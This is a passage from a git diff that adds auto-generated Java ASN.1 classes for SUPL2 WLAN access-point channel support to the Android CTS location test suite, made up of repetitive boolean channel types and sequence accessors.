+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.ch14Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ch14 : "
+ + getCh14().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch1Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch1Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch1Type != null) {
+ return ImmutableList.of(TAG_ch1Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch1Type from encoded stream.
+ */
+ public static ch1Type fromPerUnaligned(byte[] encodedBytes) {
+ ch1Type result = new ch1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch1Type from encoded stream.
+ */
+ public static ch1Type fromPerAligned(byte[] encodedBytes) {
+ ch1Type result = new ch1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch1Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch2Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch2Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch2Type != null) {
+ return ImmutableList.of(TAG_ch2Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch2Type from encoded stream.
+ */
+ public static ch2Type fromPerUnaligned(byte[] encodedBytes) {
+ ch2Type result = new ch2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch2Type from encoded stream.
+ */
+ public static ch2Type fromPerAligned(byte[] encodedBytes) {
+ ch2Type result = new ch2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch2Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch3Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch3Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch3Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch3Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch3Type != null) {
+ return ImmutableList.of(TAG_ch3Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch3Type from encoded stream.
+ */
+ public static ch3Type fromPerUnaligned(byte[] encodedBytes) {
+ ch3Type result = new ch3Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch3Type from encoded stream.
+ */
+ public static ch3Type fromPerAligned(byte[] encodedBytes) {
+ ch3Type result = new ch3Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch3Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch4Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch4Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch4Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch4Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch4Type != null) {
+ return ImmutableList.of(TAG_ch4Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch4Type from encoded stream.
+ */
+ public static ch4Type fromPerUnaligned(byte[] encodedBytes) {
+ ch4Type result = new ch4Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch4Type from encoded stream.
+ */
+ public static ch4Type fromPerAligned(byte[] encodedBytes) {
+ ch4Type result = new ch4Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch4Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch5Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch5Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch5Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch5Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch5Type != null) {
+ return ImmutableList.of(TAG_ch5Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch5Type from encoded stream.
+ */
+ public static ch5Type fromPerUnaligned(byte[] encodedBytes) {
+ ch5Type result = new ch5Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch5Type from encoded stream.
+ */
+ public static ch5Type fromPerAligned(byte[] encodedBytes) {
+ ch5Type result = new ch5Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch5Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch6Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch6Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch6Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch6Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch6Type != null) {
+ return ImmutableList.of(TAG_ch6Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch6Type from encoded stream.
+ */
+ public static ch6Type fromPerUnaligned(byte[] encodedBytes) {
+ ch6Type result = new ch6Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch6Type from encoded stream.
+ */
+ public static ch6Type fromPerAligned(byte[] encodedBytes) {
+ ch6Type result = new ch6Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch6Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch7Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch7Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch7Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch7Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch7Type != null) {
+ return ImmutableList.of(TAG_ch7Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch7Type from encoded stream.
+ */
+ public static ch7Type fromPerUnaligned(byte[] encodedBytes) {
+ ch7Type result = new ch7Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch7Type from encoded stream.
+ */
+ public static ch7Type fromPerAligned(byte[] encodedBytes) {
+ ch7Type result = new ch7Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch7Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch8Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch8Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch8Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch8Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch8Type != null) {
+ return ImmutableList.of(TAG_ch8Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch8Type from encoded stream.
+ */
+ public static ch8Type fromPerUnaligned(byte[] encodedBytes) {
+ ch8Type result = new ch8Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch8Type from encoded stream.
+ */
+ public static ch8Type fromPerAligned(byte[] encodedBytes) {
+ ch8Type result = new ch8Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch8Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch9Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch9Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch9Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch9Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch9Type != null) {
+ return ImmutableList.of(TAG_ch9Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch9Type from encoded stream.
+ */
+ public static ch9Type fromPerUnaligned(byte[] encodedBytes) {
+ ch9Type result = new ch9Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch9Type from encoded stream.
+ */
+ public static ch9Type fromPerAligned(byte[] encodedBytes) {
+ ch9Type result = new ch9Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch9Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch10Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch10Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch10Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch10Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch10Type != null) {
+ return ImmutableList.of(TAG_ch10Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch10Type from encoded stream.
+ */
+ public static ch10Type fromPerUnaligned(byte[] encodedBytes) {
+ ch10Type result = new ch10Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch10Type from encoded stream.
+ */
+ public static ch10Type fromPerAligned(byte[] encodedBytes) {
+ ch10Type result = new ch10Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch10Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch11Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch11Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch11Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch11Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch11Type != null) {
+ return ImmutableList.of(TAG_ch11Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch11Type from encoded stream.
+ */
+ public static ch11Type fromPerUnaligned(byte[] encodedBytes) {
+ ch11Type result = new ch11Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch11Type from encoded stream.
+ */
+ public static ch11Type fromPerAligned(byte[] encodedBytes) {
+ ch11Type result = new ch11Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch11Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch12Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch12Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch12Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch12Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch12Type != null) {
+ return ImmutableList.of(TAG_ch12Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch12Type from encoded stream.
+ */
+ public static ch12Type fromPerUnaligned(byte[] encodedBytes) {
+ ch12Type result = new ch12Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch12Type from encoded stream.
+ */
+ public static ch12Type fromPerAligned(byte[] encodedBytes) {
+ ch12Type result = new ch12Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch12Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch13Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch13Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch13Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch13Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch13Type != null) {
+ return ImmutableList.of(TAG_ch13Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch13Type from encoded stream.
+ */
+ public static ch13Type fromPerUnaligned(byte[] encodedBytes) {
+ ch13Type result = new ch13Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch13Type from encoded stream.
+ */
+ public static ch13Type fromPerAligned(byte[] encodedBytes) {
+ ch13Type result = new ch13Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch13Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ch14Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ch14Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ch14Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ch14Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ch14Type != null) {
+ return ImmutableList.of(TAG_ch14Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ch14Type from encoded stream.
+ */
+ public static ch14Type fromPerUnaligned(byte[] encodedBytes) {
+ ch14Type result = new ch14Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ch14Type from encoded stream.
+ */
+ public static ch14Type fromPerAligned(byte[] encodedBytes) {
+ ch14Type result = new ch14Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ch14Type = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWLANApsChannel11bg = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
new file mode 100755
index 0000000..ec4feb5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANApsList.java
@@ -0,0 +1,445 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWLANApsList extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWLANApsList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWLANApsList() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWLANApsList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWLANApsList != null) {
+ return ImmutableList.of(TAG_SupportedWLANApsList);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWLANApsList from encoded stream.
+ */
+ public static SupportedWLANApsList fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWLANApsList result = new SupportedWLANApsList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWLANApsList from encoded stream.
+ */
+ public static SupportedWLANApsList fromPerAligned(byte[] encodedBytes) {
+ SupportedWLANApsList result = new SupportedWLANApsList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWLANApsList.supportedWLANApDataListType supportedWLANApDataList_;
+ public SupportedWLANApsList.supportedWLANApDataListType getSupportedWLANApDataList() {
+ return supportedWLANApDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsList.supportedWLANApDataListType
+ */
+ public void setSupportedWLANApDataList(Asn1Object value) {
+ this.supportedWLANApDataList_ = (SupportedWLANApsList.supportedWLANApDataListType) value;
+ }
+ public SupportedWLANApsList.supportedWLANApDataListType setSupportedWLANApDataListToNewInstance() {
+ supportedWLANApDataList_ = new SupportedWLANApsList.supportedWLANApDataListType();
+ return supportedWLANApDataList_;
+ }
+
+ private SupportedWLANApsChannel11a supportedWLANapsChannel11a_;
+ public SupportedWLANApsChannel11a getSupportedWLANapsChannel11a() {
+ return supportedWLANapsChannel11a_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11a
+ */
+ public void setSupportedWLANapsChannel11a(Asn1Object value) {
+ this.supportedWLANapsChannel11a_ = (SupportedWLANApsChannel11a) value;
+ }
+ public SupportedWLANApsChannel11a setSupportedWLANapsChannel11aToNewInstance() {
+ supportedWLANapsChannel11a_ = new SupportedWLANApsChannel11a();
+ return supportedWLANapsChannel11a_;
+ }
+
+ private SupportedWLANApsChannel11bg supportedWLANapsChannel11bg_;
+ public SupportedWLANApsChannel11bg getSupportedWLANapsChannel11bg() {
+ return supportedWLANapsChannel11bg_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANApsChannel11bg
+ */
+ public void setSupportedWLANapsChannel11bg(Asn1Object value) {
+ this.supportedWLANapsChannel11bg_ = (SupportedWLANApsChannel11bg) value;
+ }
